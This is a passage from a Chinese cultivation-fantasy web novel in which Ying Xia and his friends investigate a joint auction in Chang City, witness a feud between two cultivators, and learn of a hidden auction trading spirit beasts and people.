反而是一旁沉默已久的宁妄开口了,他道:“或许是因为御兽门与其他宗门的关系不好。” “哦?还有这一茬?”裴道远消息灵通自然知道,但是他没有说出来,而是假装不了解看向宁妄。 宁妄点点头,说:“这几年御兽门在青龙长老的管理下,与许多宗门交恶了,虽然外界并没有传闻,但身为御兽门弟子,我是知道的。” 应夏抬眸看向他,“为何交恶?” “因为一年前的毒藤秘境。”宁妄回想了一下,道,“毒藤秘境很特殊,它是秘境但它里面并没有很多灵植或宝贝,也就是说它的探索价值很低,而且秘境内的毒藤特别多处理起来又十分麻烦,所以几乎没有人愿意进入。” 毒藤秘境会在大陆上移动,每年会不定地点的开启一次,这个开启不是为了让修仙者进入,而是毒藤它自己出来。 是的,毒藤可以借秘境开启时从里面出来,毒藤的繁衍速度很快,它的种子、断肢、叶片等等都可以成为繁衍的孢子。 肆意繁衍的毒藤会使大陆上的所有灵植枯萎,它会肆意掠夺灵气,但它并非素食主义者,还会攻击妖兽、人类,吃其血肉。 这个秘境是这片大陆上的毒瘤。 所以修仙界每年都会追踪毒藤秘境,确定其开启时间,并派人前往秘境口堵截毒藤。好在毒藤秘境开启时间并不长,只有一个时辰,所以只要这一个时辰内将秘境出口堵住,毒藤就出不来。 “处理毒藤一事是每个门派都会派出一到二名弟子前往处理,这是各大宗门定下的。”宁妄说道,“去年毒藤秘境开启,御兽门也派了一名弟子前往,就出了事,他偷懒耍滑没有清理干净毒藤留下的残肢,导致孢子藏匿在他身上,被带出了结界。” 一出结界,那孢子便快速吸收灵力壮大成毒藤,绞杀了在场数名弟子,只剩下玄衍宗、北天剑宗和银羽宗的三名弟子苦苦支撑,直至银羽宗和玄衍宗的长老即时赶到,才阻止了毒藤的恶行。 但孢子还是蔓延了出去,随后几月,各大门派都派了不少人去处理毒藤,费心费力才将所有毒藤清理干净。 “出事之后,青龙长老并未因此事道歉,更没有派人去处理后续的毒藤,反而还打伤了银羽宗一位长老,至此,各大门派便与御兽门生了嫌隙。” 宁妄皱着眉道,“其他宗门上御兽门讨说法时,青龙长老并不在意,还说孢子也有可能是其他弟子失察的缘故,而且他门下弟子也死了不是?就算有错也以命相抵了……” 裴道远与穆槐序眼底都是不赞同。 应夏问道:“御兽门如今只有青龙一个人?还有三位长老呢?” 即便御兽门如今青龙一家独大,但此事其他三位长老也该出来表态,毕竟是关系到宗门与修仙界其他门派交往的大事。 宁妄沉默了一会儿,说:“朱雀长老在闭关,玄武长老只顾着他自己门下的弟子,两耳不闻窗外事,而白虎长老……” 说到这,宁妄停了下来。 应夏追问道:“白虎长老怎么了?” 宁妄拧着眉道:“白虎长老那段时间失踪了,不过半年前又回来了,说是下山寻了个机缘,他的修为确实精进不少,但还是在青龙长老之下。而且自白虎长老失踪回来之后,他已不再帮助和护着我们这些弱势弟子了……” 语毕,宁妄摸了摸手腕上的黑蛇,神色晦暗。 应夏撇开视线,他现在怀疑白虎长老或许也已经被青龙下了杀手,这个失踪后回来的白虎长老是真的吗?还是和朱雀一样,只是披着皮的傀儡? 他不知道,但即便是真的白虎长老,如今御兽门的境况,比他想象得要危险的多。 御兽门应该已经完全在青龙的掌控之下了,那么他突然选择和丹顶阁举办一场联合拍卖会是为什么? 应夏抿着唇,他望着远处那座城主府,打开了封闭许久的“听觉”。 为了不让恶心的欲望污染耳朵影响心情,他刻意将那些心声隔绝起来。 现在一打开,汹涌而来的恶念一股脑地冲向应夏,令他极为反胃。 「你小子还狂?可惜你永远不知道,奸杀你亲妹妹的人就在你身边,还是你拼命去保护的兄弟,哈哈哈哈!」 「他凭什么运气这么好?不就投了个好胎么!一副可怜我便施舍我的模样,令人恶心!若是让我找到机会,我定要让他……」 「笑吧,开心吧,夸你几句真就当真了,等你出了这城,我就杀人夺宝,到时候大师兄就只会怜惜我一人了。」 以前应夏的修为低,听见的心声只有修为高一些、恶念最大的人才会十分清晰,修为低的人心声会模糊断断续续。 但现在,应夏已经能听清所有的恶念,不论修为高低或是凡人,也不论恶念大小,一律他都听得清清楚楚。 在玄衍宗时还好,几乎听不见任何恶念,有些只是强烈的执念并非恶欲,倒不会影响。 离开玄衍宗后就不一样了,只要一靠近人类聚集的地方,不论城镇大小,应夏的耳边皆充斥着吵嚷的恶意,令他头疼欲裂,这才想办法将其隔绝起来。 他松开封印后,忍着恶心,过滤掉那些修为低的人,耳边的恶念便少了一大半。 还没等他仔细分辨,就听裴道远说:“我们到了,昌城。” 小舟平稳地降落在一片山坡上,四人跳下小舟,一同望着不远处的城门,络绎不绝的车马与人群进出着。 “怎么昌城也这么多人?”穆槐序问道,“现在离拍卖会开启还有半月。” 裴道远知道消息,便说:“丹顶阁在昌城的分会最近在举办活动,一些丹药和灵植都大减价,所以才有这么多人来昌城。” 应夏掏出一瓶丹药分给宁妄,道:“保险起见,这是伪装的丹药,可改变样貌,炼虚期以下修士无法识破。” 裴道远看着乔装成散修的应夏与宁妄,问道:“怎么我和穆槐序没有?” “你们不用,玄衍宗弟子有人前来看看这拍卖会,并不突兀。”应夏解释道,“而且邀请函是穆槐序拿到的,有人去查也能查得到,不必遮掩。” 穆槐序点点头。 很快,四人便进入了昌城。 如应夏所料,玄衍宗弟子服饰引起了不少人注意,还有其他门派的前来搭话,都被裴道远应付过去。 他们找了一间客栈安置下,裴道远准备和穆槐序出去打听消息,应夏陪着宁妄前往丹顶阁分会买至元丹。 昌城内的丹顶阁分会极为热闹,应夏和宁妄赶到时,正巧碰见有人在分会门口打起来,周围还围了一圈看热闹的人。 顶着张大众脸的应夏询问道:“这位老兄,我们是来买丹药的,这是发生了什么事?怎么这么多人堵着?” “你刚来是吧?前面是北天剑宗的弟子和另一名散修打起来了。” 第66章 第 66 章 程峰与尹辰逸的纠葛。…… 北天剑宗?应夏有了些兴致, 抬眸望去,果然瞧见左边一名少年穿着北天剑宗的服饰,正与右边一位灰袍散修对峙。 说打起来是夸张了, 二人并没有动手,只有其中一人拔剑相向,恶狠狠地盯着另一人。 还有一个看起来像是掌柜模样的中年男子捧着个金丝镶边的盒子, 十分为难地左看看右看看,见到门口已经围了这么多人, 更觉不妙。 他抬起袖子擦了擦额头上的汗水,朝右边那位执剑的灰袍散修说道:“这位修士,请您高抬贵手吧,这颗玉髓丸确实是先有北天剑宗的门人于三日前定下……” 话还没说完, 那灰袍散修便不耐烦地打断道:“这我不管,我也是上你们这儿来买玉髓丸的,是你们这儿的人说有,还把这玉髓丸取来给我, 正要付灵石呢, 突然就蹿出个人来抢去, 然后又说不卖了,哪有这样的事?” “这个……确实是我们的人疏忽了。”掌柜从身后拎出了一个矮小的身影,一把推倒到那灰袍散修身前,怒道, “都是你跟客人瞎说!快道歉!” 灰袍散修抬手制止, 道:“免了, 我只要那玉髓丸便可。”语气坚决。 掌柜的抱着那盒子颤颤巍巍的,可怜兮兮地企图商量道:“玉髓丸炼制艰难,药材难寻, 每日本店只售一枚。今日这枚确实是应该归北天剑宗的。这位修士,不如稍等等,明日一早,我一拿到玉髓丸便亲自给您送来。” “因为此事是本店疏忽,玉髓丸所需灵石您便不必支付,作为赔偿,本店还可附赠各种珍贵丹药,只要您说,我便帮您任取一瓶!” 任取一瓶!这个补偿不可谓不丰厚!要说这一瓶可是得有整整二十枚,若是这名散修说想要一瓶玉髓丸,那价值可比这一枚高许多,更何况丹顶阁内还有其他比玉髓丸更名贵的丹药。 掌柜的话引起围观众人的惊呼,有些人对丹顶阁的认错赔偿态度十分赞赏,有些人开始羡慕起那名散修来。 大家都以为此事该要了结时,那灰袍散修却道:“不,我就偏要这一枚” 掌柜额头上的汗更多了,“这……您看您是对补偿不够满意,我们还可以再谈……” “不,你听仔细了,我就要你手中的这一枚!” 灰袍散修说这话时,眼睛紧紧盯着对面的北天剑宗弟子,神情冷傲,不依不饶。 围观的众人议论纷纷。 “我看这名散修就是冲着北天剑宗去的吧?这么好的条件都不答应,若是我……” “你别说,我也觉得他不像急需玉髓丸的,不然要真需要丹药,答应丹顶阁的赔偿岂不赚得更多?” “就算好面子,但丹顶阁都给了台阶了,怎么还揪着不放,这就有些……” “这散修是谁?难道和北天剑宗有仇?” “不认识啊,看他修为是元婴期,这元婴期的散修海了去了。” “我看他是诚心找北天剑宗麻烦的。” …… 应夏若有所思地打量着二人,那名北天剑宗弟子看着有些眼熟,应该是在那日大战中见过,不过大概也只有一面之缘。至于那名散修…… 他瞪着北天剑宗弟子的眼神十分凶狠,其中带着明显的仇恨,有轻蔑、厌恶、憎恨,大概是与这名北天剑宗弟子有仇。 如此说来,倒是合理一些。一般修士都不会得罪那些名门大派,毕竟人家的底蕴势力都在那儿摆着,不至于为了一枚五百中品灵石的玉髓丸得罪人。 若是针对个人,有私仇,更说得通。 那名北天剑宗弟子显然也是认识灰袍散修的,他握着剑,拧眉道:“尹辰逸,玉髓丸是我师父所需,并不是我想要。” 尹辰逸突然哈哈大笑起来,啐了一口,道:“不是你要的又怎样?程峰,我发过誓绝对不会放过你,杀了你那可太便宜你了,我就是要处处与你作对,恶心你,让你事事不如意!” 程峰看了看周围许多看好戏的修士,闭了闭眼,强忍下情绪,道:“这里是丹顶阁,我们的事莫牵连其他人,也别在挡在门口扰了掌柜的生意。” 尹辰逸冷笑一声,却没有反驳,将手中的剑插回剑鞘,抬手将掌柜抱在怀中的锦盒抢走了。 围观的人大多都是看热闹的,并不打算掺和,所以也没有人拦着,尹辰逸的身影便很快消失不见。 只有金丹期修为的掌柜自然敌不过元婴期修士,盒子被抢走后,险些扑倒在地,被程峰一把拎住,这才免去脸着地的惨象。 掌柜叹了口气,朝程峰致歉道:“此事由本店而起,也该由本店赔偿,不知您愿不愿意等一天,刚才我对他说的补偿……” 程峰打断道:“不必了掌柜,他并不需要玉髓丸,此事缘由在我,我会想办法解决的,倒是打扰您生意了。” 掌柜连忙摆手,“哪有哪有,此事也有本店一份责任。” 说着,他抓起缩在一旁的小子,唠唠叨叨地让他回去干活,晚些再收拾他。 掌柜似乎很会处事,他对围观的修士们说道:“让各位见笑了,今日但凡在本店购买灵植丹药者,皆可免一成灵石。” 众人立刻沸腾起来,既能吃瓜又得了好处,自然无人再埋怨,欢欢喜喜地进去买丹药。 原本乱糟糟的人群也逐渐散去,丹顶阁逐渐恢复原来的秩序。 宁妄也不免低叹一声这位丹顶阁分会掌柜做得妙,不过他也有些疑惑。 应夏更是把他心里的疑惑说了出来,“这掌柜的也太过散财了,本来听说这两天便已经降了一成灵石,今日又再降一成,他真的有的赚?而且这降价之事,能由他一名小小的掌柜做主?” 来之前裴道远便与他科普过,丹顶阁的分会遍布整片大陆,每个分会都会有三名掌柜把持,但实际上每个分会的真正掌权人是主事。收购、定价、售卖等等流程都由主事择定,像丹顶阁这次降价活动,就必须由主事批准。 这次因意外事件引起的降价活动,也该上报给主事,一个掌柜便定下确实有些不太对劲。 难道说丹顶阁的内部管理已经有了变化?掌柜也能掌管一间分会的事宜了?还是说,那名掌柜便是这间分会的主事? 不,不可能。应夏立刻否定了这个猜测,因为丹顶阁只有十个主事,每个主事手下管着十余间分会,而且主事的修为都在元婴以上,他们也更不可能对一名散修态度卑谦。 宁妄略作思索,小声道:“或许是掌柜自己补贴吧。” 身边有其他未离开的修士道:“确实,这掌柜看上去便像是个老好人,宁可自己吃亏也不让别人吃亏的类型,他肯定是想自己掏钱搞定这事。” 另一人也参与进这场讨论中,说:“这位修士说的不错,掌柜的宅心仁厚,据说在这昌城也开了快一年了,对下属都十分宽厚,所以有时候出一些岔子,都是由掌柜出面商定,基本上补偿对方为多,而且掌柜对犯错的下属惩罚也不严厉。” “难怪……他这店能继续开下去,都是因为他上头是丹顶阁,不然要是其他店这么搞,恐怕早就亏本关店了!” “掌柜好心对我们还有对那些杂役下属来说是好事,不过对东家来说,就不好了。” 有人还担心起掌柜会不会被丹顶阁的主事抓到,罢免掌柜职务。 应夏瞥了眼宁妄,二人不动声色地退出这场讨论。 买完至元丹,回到客栈后,裴道远和穆槐序正好坐在房间里等他们。 裴道远上下打量了回来的二人,松了口气,道:“刚才就听到有人说丹顶阁那儿出了一些事,你们遇见什么了?” 宁妄将程峰与尹辰逸一事道出。 裴道远用扇柄敲了敲桌面,道:“这尹辰逸我倒是知道一些。” 屋内三人立刻将视线聚集在了他身上。 “尹辰逸与北天剑宗弟子,哦他叫程峰是吧,原来是这样……”裴道远回想着什么,口中一边碎碎念道。 应夏催促道:“到底是什么事,你快说。” 裴道远也不卖关子,“这事说来十分令人惋惜,尹辰逸有一个妹妹名叫尹雪,她是一名神医。” 神医?应夏挑眉,这个评价很高了,说明尹雪的医术十分了得。 “尹雪并非尹辰逸的亲妹妹,但她是由尹辰逸一手带大的,不过尹雪在修炼方面天赋不高,十七岁也才刚炼气。” 十七岁的炼气在修仙界来说,已经是十分晚了。 裴道远接着道:“但尹雪的医术很厉害,不是养灵植也非炼丹药,而是真正的医术。进入修炼之道,也只是方便她更精准地测探经脉,施展针法。” “这和程峰有什么关系?” “尹雪救过程峰,并且二人相恋了。”裴道远叹了口气,“可惜的是,尹雪在去年救治一重伤病患时,不慎感染了魔气,后来……好像是被程峰亲手……尹辰逸才如此憎恨程峰。” 沉默蔓延开来,应夏抿着唇不说话。 “听说程峰原本也跪着向尹辰逸求死,但尹辰逸没有杀他,大概是想着要折磨他,所以处处与他作对。” 宁妄突然道:“不是尹辰逸不想杀他,而是不能杀他吧?” 裴道远瞬间明白过来,点点头:“你说的有道理,若是有人杀了我的妹妹,我肯定想让他死,而且程峰自己亲手杀了所爱之人,定是痛苦万分,一心求死,可他还是没死。我想,大概是尹雪留下了遗言……” “这事听听也就过了,说到底,与我们无关。”裴道远连忙转移话题,“现在来说说,我们刚才打听到的有关联合拍卖会的消息吧。” 第67章 第 67 章 回崖底深渊,银环碎裂。…… 御兽门与丹顶阁的联合拍卖会在十五天后举行, 地点便是在城主府,届时只有拿到邀请函的人才可进入,而且进入城主府前, 必须搜身,不得携带任何武器法器收纳袋等。 应夏挑眉:“这么严格?” 裴道远展开扇子,笑着道:“规矩虽然是这么定的, 但是你若是能带进去也不是不可以,这就叫‘各凭本事’!” 应夏弯了弯唇角, 原来如此。 裴道远继续道:“虽说拍卖会十五日后才开始,但是已经有不少小道消息传出来,真的假的似乎都有。” 穆槐序点点头,说:“什么上古大能留下的法器、功法, 甚至什么吃了就能一夜之间提升三层境界的丹药,这种过于离谱的消息都满天飞。” “看来是有人故意这么夸大,这场拍卖会确实噱头十足。”宁妄分析道。 应夏问:“那真消息呢?” 裴道远眨了眨眼睛,用扇子掩着下半张脸, 有些神秘道:“你们可以猜猜看, 提示是与至元丹相关的丹药, 但功效并不一样。” 闻言,宁妄立即反应过来,有些吃惊道:“难道说……是净雷丹?!” 净雷丹?应夏立刻从传承记忆中找到了该丹药,净雷丹是极为难炼制的丹药之一, 它的功效并非内服, 而是捏碎后可直接抵挡一次雷劫。 可以挡一次雷劫, 而且并没有使用境界的限制!也就是说,这个功效几乎任何修士都可以使用! 当然了,此丹药如此珍贵, 不会有人用它去挡低阶的突破雷劫,一般都是被渡劫期道君用来挡飞升雷劫。 能抵挡住一次雷劫,这个功效十分变态了。但是其材料十分难得,有几种甚至是世间罕见的奇物,渡劫期道君想要全部集齐都非常困难。 据说五百年内也只能炼制出五颗净雷丹,只要这净雷丹一出世,便能引起血雨腥风,毕竟那可是渡劫期道君们的战争! “嚯,这么好的宝贝,怎么御兽门和丹顶阁竟然也舍得拿出来?”应夏撑着下巴,有些不解,“确定不是假消息?” “确实匪夷所思,但这个消息是真的,是城主在公开场合说的。”裴道远感叹了一声,然后继续说道,“净雷丹是丹顶阁阁主拿出来的,虽然只有一枚,但足够引起各势力的关注。这次的邀请函也被炒得高价,恐怕我们身上最值钱的也就是这邀请函了。” “这可不一定。”应夏小声哼了一句,思绪在净雷丹上转了几圈。 说实话,他有些对净雷丹心动了,毕竟那可是能抵挡一次雷劫!雷劫可是他的天敌,若是能拿到手,就相当于多了一次保命的机会! 应夏想了想小空间里的灵脉,他确实有足够的灵石可以霍霍,但这净雷丹估计不是他一个金丹期修士可以带走的。 果然,便听裴道远有些可惜道:“虽然我也很想要净雷丹,但是别有钱买没命拿,这次拍卖会上的净雷丹应该只有渡劫期道君才有资格,其他人……说不定还没走出拍卖会就要遭到别人的暗杀了。” 宁妄赞同地点点头,“匹夫无罪怀璧其罪,净雷丹对我们来说,还是离得太远了。” 应夏眨了眨眼睛,问道:“除了净雷丹,还有其他东西么?” 穆槐序道:“丹顶阁拿出了净雷丹,那御兽门必然也得有拿得出手的东西。据说是一朵千年并蒂莲,具体的不太清楚,各种说法都有,并蒂莲也是极为稀有的天地灵宝,可入药也可直接炼化。有的说一朵便能直接让人晋升炼虚期,有的说是净雷丹的材料之一,还有的说这并蒂莲可净化魔气。” 净化魔气?应夏有些意外,传承记忆中有并蒂莲,不过那只是一种较为珍贵的灵植,按照其年份大小决定其药用价值,例如人参一类。 至于可以净化魔气的并蒂莲……那可就不是一般的灵植了,要么它实际上是一个灵,或者和他一样是天生的魔。 “还好下山来参加这场拍卖会了,不然还不知道世上竟有这么多好东西。”裴道远啧啧了两声。 另外三人也颇为赞同。 “对了,你们买到至元丹了吗?”穆槐序突然想起这事。 宁妄答道:“买到了。”说着,便将怀中的锦盒拿了出来,锦盒是丹顶阁统一制作专门存放丹药的,上头的金纹刻着丹顶阁标识。 “时间不多,便从现在开始修炼吧?” “好。”宁妄一开始便打算好了,他只想尽快提升修为去复仇。 应夏看看裴道远和穆槐序,“你们怎么打算?” 穆槐序说:“我也去小空间修炼。”应夏的小空间灵气充裕,是绝佳的修炼地点。 裴道远思索了一会儿,道:“我准备在城内再多打探一些消息,可能还会先去中心城一趟。”- 应夏没有进入小空间修炼,他如今的修为已足够突破至元婴,只不过突破时不能显露于人前,所以需要找一个人迹罕至的隐蔽之处。 这个地点有些不好找,毕竟他需要释放出魔气,或许还会弄出更大的动静来,可不能让别人发现有个魔在这里突破。 应夏突然想到了自己降生的崖底深渊,那里倒是一个非常不错的地方。虽然距离有些远,一来一回得费上两三天功夫,不过还有半个月的时间,足够了。 走之前,应夏将小石头留给了裴道远。 裴道远伸手戳了戳小石头,被它用枝条打开,笑道:“你怎么想到把这小家伙给我?” “你别小看它,如今也有元婴境了。”应夏道。 闻言,裴道远十分惊讶:“小石头竟这么厉害了?!”明明刚见面时弱得不行,这才过去多久,都比自己强了?! 应夏像是知道他在想什么,道:“小石头毕竟是灵,修炼速度自然比人类修士要强上不少。”而且它日夜泡在小空间里,想不提升修为都难。 小石头自豪地挥了挥枝丫,一副神气十足的模样:“应夏让我留下来是为了保护你,知道吗?” 裴道远调笑道:“知道了知道了,小石头前辈。” 被夸得有些不好意思的小石头将挥舞的枝条受了起来,咳嗽两声,说:“咳,你知道就好,我一定会保护好你的。” 裴道远笑得眯起眼睛,却没有一丝不尊重的意思,道:“那就多谢小石头前辈啦!” 调侃完小石头,他看向应夏,问道:“你这是去闭关突破?” 应夏点点头,突破一事也没什么好瞒的,便道:“是的,不过并不会在这里,我可能要出去,在拍卖会开始之前我会回来找你们的。” “只有你一人是否太过危险?”裴道远担心道,“金丹突破元婴需渡雷劫,你孤身一人,我怕……” 应夏摇摇头,“不必担心,雷劫一事他人本就帮不上忙,而且此处并非渡雷劫的好地方。” 说着,他勾唇一笑,道:“而且,我并非孤身一人,穆槐序与宁妄都在我的小空间里,算是与我在一起。这么说起来,实际上是你孤身一人独自留在昌城,所以我才将小石头留给你。” 被点名的小石头立刻说道:“对啊对啊,我也可以打开小空间,这样即使身处两地,你有什么事也可以进入小空间告知其他人。” 裴道远:“原来如此,那确实方便许多。” 他想了想,将那小舟法器交给了应夏,说:“我如今身在昌城,中心城也不远,用不上这小舟了,你便拿去用吧。” 应夏没有推辞,道声谢便收下了。 有了小舟,便可将两三天的往返路程缩短成一天。 太阳落山前,应夏便回到了降生的崖底深渊前,他站在山顶上往下望着,竟生出一些怀念来。 没有停留太久,应夏便跃入深渊之中,浓稠的魔气并不友好,凶猛地将坠落的人影吞噬殆尽。 与此同时,应夏褐色的眼眸逐渐被血色覆盖,怀中的魔骨瑟瑟发抖,像是瞧见了极为恐怖的事情。 左手小指上因习惯还带着的银戒,在浓郁纯粹的魔气中发出一声嗡鸣,应声而裂,瞬间被魔气吞噬。 应夏皱了下眉,周身的魔气随之一顿,他想到将身上的玉佩收起来,竟是忘了这枚银戒。不过温却沧应该只在玉佩上留了一丝神识,银戒上他探查过没有,但也说不准…… 罢了,若是师父问起,便说在杀魔时被魔气沾染不慎碎裂好了。 应夏抿着唇,手却一直捏着有些空落落的小指,心情明显比之前差了许多。 他闭了闭眼,抛却杂念,将注意力全部投入到提升修为之中,他能感觉到,完全放开魔气之后,他的力量大涨了不少。 深渊之中魔气翻腾。 远在万里的玄衍宗中,正闭目修炼的温却沧突然睁开了眼睛,蓬勃的剑意陡然而生,静室中未有动静,但听雪峰上所有积雪的树木在那一瞬间炸开雪花,像是有无形又凌厉的风,将积雪斩去。 温却沧垂目,摊开的掌心中赫然躺着一些银质的碎屑,若是应夏看见,一定能认出那便是碎裂的银环。 他收拢手指握紧,不顾碎屑扎破皮肉渗出血来。 温却沧站了起来,银环碎裂,玉佩却没有任何感应,这让他心慌不已。 他又将视线放在了身边的剑穗上,那是一枚十分精巧的平安结,应夏在离开之前为他编的。 冷肃之色柔和了下来,不过须臾他便做出决定—— 下山,去找他。 见他,心才安。 第68章 第 68 章 不止明面上的拍卖会。 半月之期转瞬即逝, 拍卖会即将在今晚举办,中心城已热闹非凡,连带其附近的小城都人满为患。 有些即便是没能拿到邀请函的也赶来凑热闹, 修仙界已经许久没有举办如此盛会了。 一间四层高的酒楼伫立在闹市中,四周种着开了满树的杏花,风一吹拂, 便簌簌出声,抖落些许花瓣, 给这座装修格调优雅闲适的酒楼又提升不少档次。 因此,在一个月前,此间酒楼便都被人订满了。 好在裴道远交游甚广,出手阔绰, 他便得以安然地坐在最高层的雅间里,依着窗望着外头的风景,一边还有一搭没一搭地摇晃着他的扇子。 路上的行人偶然抬头,在满树飞花中, 瞧见那副英俊潇洒的面容与风流姿态, 心里暗叹一句:“好个风度翩翩的佳公子!” 雅间里倒是有人不解风情道:“这么坐不累得慌?” 在应夏看来, 人家酒楼的窗户又不是专门给别人坐着的,距离地面不矮,坐下脚不着地屁股又硌,一点儿都没有他坐着的这个铺了软垫的椅子舒服。 他想了想, 还体贴地说:“不如你把垫子拿去, 好歹坐得舒服一点。” 裴道远:“……” “噗!”宁妄没忍住笑出了声, 他用手掩住唇,歉然道,“抱歉抱歉, 我是想到了那副画面,有些……” 穆槐序点点头安慰道:“没事,裴兄不是斤斤计较的人。” 其实很想斤斤计较的裴道远:“……” 无语了一阵后,裴道远从窗户上自认动作十分流畅潇洒地翻下来,刚落地便听到应夏又说:“是不是觉得硌屁股了?我就说嘛,快来这里坐,这垫子倒是与北天剑宗那儿的一样软。” 裴道远的动作一顿,顾不得他风流倜傥的公子人设了,颇为无奈地找个了空位坐下,道:“应夏,别一见面就拆我的台。” 宁妄还是捂着嘴,但他那双笑得眯成一条缝的眼睛出卖了他。 穆槐序给裴道远倒了一杯茶,说:“行了行了,你把我们叫到这酒楼来,总不是为了说这几句话的吧?” 裴道远狠狠饮了一口茶,呼了口气,道:“确实是有些事要告诉你们,不过现在不急。” 他说完,看向应夏与宁妄,笑着说:“得先祝贺你们成功晋升至元婴期!” 宁妄收敛起神情,朝裴道远回礼道:“多谢。” 应夏倒是没有什么反应,虽然表面上他的修为是元婴,但实际上他已经有炼虚期的实力,甚至可以与渡劫期一战。 在座的三人都不知道他的体内藏着巨量的魔气,都是他从深渊之中带出来的。 倒不是他想带出来,而是在修炼突破时,那魔气被他吸收炼化,如今他的身体就像那座深不见底的崖底洞穴,汹涌磅礴的魔气在体内肆意冲撞。 好在有功德金光禁锢,将所有的魔气都牢牢锁在他的体内,不然现在他恐怕周身魔气四溢,正遭到修仙界各种修士的追杀吧?也不会还能好好地在这里坐着了。 应夏暗自叹了口气,功德金光是个好东西,不过若是他想再进一步变强,功德金光就是阻碍了。 若是他修炼至渡劫期,甚至更高,那么功德金光的存在则是一种限制,会将他的力量完全限制在渡劫期以下。也就是说,如果他想发挥出全部实力,就必须撤掉功德金光,将魔气完全释放出来。 应夏敛下眼眸,到那时,他就会成为整个修仙界的敌人…… 若是一开始的应夏,他根本就不会在意成为谁的敌人,但是现在不一样,他有师父,还有朋友…… “应夏、应夏?”裴道远微皱眉头,喊了几声不知何时晃了神的应夏。 “你说。”回过神来,应夏看向裴道远。 裴道远皱着的眉没有松开,自从应夏晋升后便总觉得有些不对劲,他问道:“可是你突破时发生了什么?可有伤到哪里?” 一时间,雅间内的三双眼睛齐齐看向他。 应夏勾唇一笑,道:“没有,你不必担心,只是最近有些疲倦,可能是当时……渡雷劫消耗太多心力了。” 宁妄感同身受道:“确实,好在我准备了一枚至元丹,才不至于在渡劫时灵力不支,若是如此,早知道也让你买一枚备着了。” 应夏笑着摇了摇头,转移话题道:“刚刚你们说到哪儿了?” 穆槐序说:“说到裴道远打听到这御兽门与丹顶阁的联合拍卖会,不止明面上这一场。” “什么意思?” 裴道远接过话,重复了一遍道:“除了大家明知的,今晚城主府的那一场拍卖会之外,还有一场暗处的拍卖会。” 闻言,应夏蹙起了眉,“这暗处的拍卖会,想必卖的不是什么能拿得上台面的东西吧?” 裴道远点点头,他环视四周,确认自己布下的阵法没有损坏,才敢压低声音,道:“没错,是灵兽与人的拍卖会。” 应夏沉默着没有说话,他想起来之前听到的几句恶念心声。自从他顺利突破后,便能快速过滤掉那些令人作呕的心声,用直觉找出那些看起来对自己有用的消息。 “灵兽还可以理解,但这……人?是怎么一回事?”宁妄神情变得严肃起来,不自觉握紧了拳。 裴道远却摇摇头道:“具体的我就不清楚了,这也是我意外得知的消息,暗地的拍卖会隐藏得极深,我是……冒着危险去探了城主府……” “什么?!你去了城主府?”穆槐序震惊道,“那儿可是有数位炼虚期修士坐镇,甚至还有两位炼虚期道君,你怎么能……!” 裴道远将扇子收拢握在掌心,示意他稍安勿躁,然后慢慢说道:“中心城除了城主府外我都仔细探查过了,除了一些八卦和不知真假的消息外,没有太多有用的东西,所以我才将主意打到了城主府里。” “不过城主府确实难闯,最近因为拍卖会的缘故,这几日都不对外接客了,想要进去除非有城主的手令。当然,那东西也不是能轻易搞到手的,更何况城主根本没有将手令给出去。” 裴道远笑着说,“我还看见有人仿制了城主的手令想要进去,直接被门口的守卫抓进地牢了。还有人不怕死硬闯,都被那些护卫修士扔出来,狼狈得很。” “那你是怎么进去的?”穆槐序问道。 裴道远故作深沉地顿了一会儿,才说:“我没有进去。” 应夏:“?” “我是让小石头进去的。”说着,裴道远将怀中的小石头掏出来,放在了桌子上,“不过,它出来后一直在睡觉。” 应夏看见两根枝条乖顺怀抱着自己的小石头,挑了挑眉,道:“它确实睡着了。”伸出一根手指触碰小石头,感知到它只是灵气不足陷入了休眠状态,并无大碍。 其他二人看不出,但也知道原本活泼的小石头变成这副模样很不对劲,“小石头没事吧?” 应夏:“没事,只是灵气不足,等补回来就没事了。”说着,他将一块上品灵石掏出来放在小石头身边。 被纯粹的灵气吸引,沉睡中的小石头慢慢地用枝条将灵石抱在了怀中,又不动了。 见状,几人都放下了心,裴道远明显松了口气,“还好,我也检查了半天,确实只是消耗太大在睡觉,小石头在睡过去前也这么对我说,以免我担心。” 他又有些歉然地对应夏说:“倒是我忘记要给小石头补充灵气了……回去后,小石头想要多少上品灵石,我便都给它。” 应夏摇摇头说:“不必如此,它没有那么脆弱。不过,你竟然能想到让小石头进入城主府?” 裴道远解释道:“这倒不是我提议的,是小石头自己说要进去看看,它是灵,若是它故意伪装,那么就算是炼虚期的修士也感知不到它,因为它可以完全融于周围灵气之中。” “我见它在我面前伪装,确实感知不到,我这才同意它进去打探。”裴道远回想着,“小石头还与我共享了视野,所以才偷听到拍卖会还有暗处一场的事情。” “不过,城主府的下人知道的也不多,只是除了明面上的一场外还在布置另一场。”说到这,裴道远皱了眉,“……暗地的那一场问题一定很大,因为那些下人都被……” 后面的话不言而喻,那些下人应该都是布置完后都被杀了。 “说来也奇怪,好像丹顶阁并不知道还有暗处的拍卖会。”裴道远又说,“只看见御兽门的人刻意避开丹顶阁的人和城主府下人商议此事,还……还动手杀了一名不小心听到的丹顶阁弟子。” “哦?”应夏有些意外,这就有趣了,“不过,弟子不知道,不代表丹顶阁主事的人不知道。” “你说的也对,暗面的拍卖会估计大部分下游弟子都不知道。” 应夏又问:“如果只是偷听,小石头不至于消耗如此大,后来又发生了什么事?” 裴道远点点头,说:“我们遇见了一个魔修。” 第69章 第 69 章 为什么选择了一个魔修?…… “魔修?!” 裴道远皱着眉点点头道:“没错, 是一个魔修。” 房内其余三人皆神色骤变,应夏抿了抿唇,宁妄抚上手腕上的黑蛇, 穆槐序追问道:“城主府内怎会有魔修?” 那日,小石头藏在草丛中,两边的枝条也收起来不被人看见, 装作一颗普通的石头躺在路边。 城主府内来来往往的仆人步履匆匆,偶尔听见几句闲话。 裴道远对小石头传音道:“要不你先回来吧, 暗面的拍卖会这个消息能得知已然足够了,再呆下去我怕……” 小石头打断他,说:“不行,还没听到怎么进入这个暗面拍卖会呢, 你放心吧,我都呆了这么久了,那些人都没发现我,肯定没事的。” 裴道远叹了口气, 道:“太危险了, 你先回来, 拍卖会的事情可以等应夏他们回来了,再一同想办法。” 小石头突然“嘘”了一声,声音变得紧绷起来,“先别说话, 我好像感知到了什么!” 裴道远随即噤声, 顺着小石头低矮的视角查看四周, 并没有发现异常,心提了起来。 他听见远处有几个脚步声混杂着镣铐拖行的声音传来,甚至通过与小石头的痛感, 敏锐的察觉到周围的风似乎都安静了下来,气氛显然有些压抑和郁沉。 